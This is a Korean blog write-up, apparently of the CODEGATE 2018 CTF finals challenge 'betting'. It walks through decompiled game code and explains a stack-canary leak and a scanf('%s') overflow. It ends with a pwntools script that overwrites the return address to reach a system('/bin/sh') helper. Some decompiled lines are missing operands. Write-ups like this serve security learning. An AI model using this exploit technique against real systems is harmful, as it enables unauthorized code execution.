ipwn

[CODEGATE 2018] betting 본문

CTF's/CODEGATE

[CODEGATE 2018] betting

ipwn 2018. 5. 17. 11:34

이번에 푼 문제는 betting문제이다.


codegate본선 가서 풀었던 문제인데 예선의 베라보다 쉽다.


왠지 엄청 어려울줄 알고 한 문제라도 풀면 기적이라 생각하고 풀었었다 암튼 분석을 해보자.



보아하니 64bit바이너리에, 카나리, NX가 걸려있다.


int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // eax
  unsigned int v4; // eax
  unsigned int v6; // [rsp+4h] [rbp-6Ch]
  int v7; // [rsp+8h] [rbp-68h]
  int v8; // [rsp+Ch] [rbp-64h]
  int v9; // [rsp+10h] [rbp-60h]
  int v10; // [rsp+14h] [rbp-5Ch]
  int v11; // [rsp+18h] [rbp-58h]
  int v12; // [rsp+1Ch] [rbp-54h]
  const char *v13; // [rsp+20h] [rbp-50h]
  const char *v14; // [rsp+28h] [rbp-48h]
  const char *v15; // [rsp+30h] [rbp-40h]
  const char *v16; // [rsp+38h] [rbp-38h]
  char v17; // [rsp+40h] [rbp-30h]
  char s; // [rsp+50h] [rbp-20h]
  unsigned __int64 v19; // [rsp+68h] [rbp-8h]
 
  v19 = __readfsqword(0x28u);
  v8 = 0;
  v9 = 0;
  v6 = 0;
  v10 = 0;
  v7 = 0;
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  memset(&s, 0, 0x14uLL);
  printf("What is your name? ", 0LL);
  read(0&s, 0x28uLL);
  printf("How much money would you like to start with? "&s);
  __isoc99_scanf("%d"&v7);
  while ( v10 >= && v7 > )
  {
    printf("Hi, %s"&s);
    printf("you have $%d.\n", (unsigned int)v7);
    while ( !v6 || (signed int)v6 > v7 )
    {
      printf("How much money do you want to bet? ");
      __isoc99_scanf("%d"&v6);
      if ( (signed int)v6 > v7 )
        puts("Sorry, you don't have enough money to make that bet.");
    }
    v3 = time(0LL);
    srand(v3);
    v8 = rand() % 13 + 1;
    v9 = rand() % + 1;
    v11 = v8;
    v13 = rank_string(v8);
    v14 = suit_string(v9);
    printf("You draw a %s of %s.\n", v13, v14);
    puts("Will the next card be higher or lower?");
    printf("Enter \"h\" for higher or \"l\" for lower: ");
    __isoc99_scanf("%s"&v17);
    v4 = time(0LL);
    srand(v4);
    v8 = rand() % 13 + 1;
    v9 = rand() % + 1;
    v12 = v8;
    v15 = rank_string(v8);
    v16 = suit_string(v9);
    printf("You draw a %s of %s.\n", v15, v16);
    if ( v17 == 104 && v11 > v12 || v17 == 108 && v11 < v12 )
    {
      v7 -= v6;
      printf("LOSE!!! Too bad %s"&s);
      printf("You lose $%d.\n", v6);
      goto LABEL_15;
    }
    if ( v11 == v12 )
    {
      puts("I'll give you one more chance.");
    }
    else
    {
      v7 += v6;
      printf("Win! Congratulations %s"&s);
      printf("You win $%d!\n", v6);
LABEL_15:
      v6 = 0;
    }
  }
  if ( v10 > )
  {
    printf("You win the game %s! "&s);
  }
  else
  {
    printf("Too bad %s"&s);
    puts("You are out of money! You lose.");
  }
  return 0;
}



보면 그냥 게임을 하는 바이너리인데, 카드 하나 뽑고 값이 위인지 아래인지 맞추는 게임인 것 같다.


맨 처음엔 이름 입력을 read로 받는데, 카나리까지 24byte를 덮어주면 된다.


근데 카나리의 첫 byte가 NULL이기 때문에 25byte를 덮어줘야 카나리를 leak해줄 수 있다


그 다음에는 scanf로 betting할 돈을 입력하는데, 이건 범위만 맞추면 아무 영향 없으니 제껴두고.


scanf로 high인지 low인지를 scanf로 받는데 이부분을 %s로 받는다. 즉 canary도 덮을 수 있고, ret도 변조시킬 수 있다.


근데 매우 놀라운 사실 하나가 있다.


int helper()
{
  return system("/bin/sh");
}


이런 함수를 그냥 준다.


그래서 걍 ret을 이 함수로 덮어주면 shell을 획득할 수 있다.


쉘 땄다.


from pwn import *
 
#p = remote('110.10.147.29', 8282)
= process('./betting')
 
shell = 0x4008F6
pay = 'h'*40
 
p.recv()
p.sendline('A'*24)
p.recv()
p.sendline('2')
p.recvuntil('\x0a')
canary = '\x00' + p.recv()[0:7]
log.info('canary leak : ' + hex(u64(canary)))
pay += canary
pay += 'A'*8
pay += p64(shell)
p.sendline('2')
p.recv()
p.sendline(pay + '\n')
p.recv()
p.interactive()



본선 문제치고 굉장히 쉬운 수준이었다.

'CTF's > CODEGATE' 카테고리의 다른 글

[CODAGATE 2018] heapbabe  (0) 2018.11.13
[CODEGATE 2018] catshop  (0) 2018.05.17
[CODEGATE 2016] bugbug  (0) 2018.03.26
[CODEGATE 2018] BaskinRobins31  (5) 2018.03.02
[CODEGATE 2014] nuclear  (0) 2018.02.02
Comments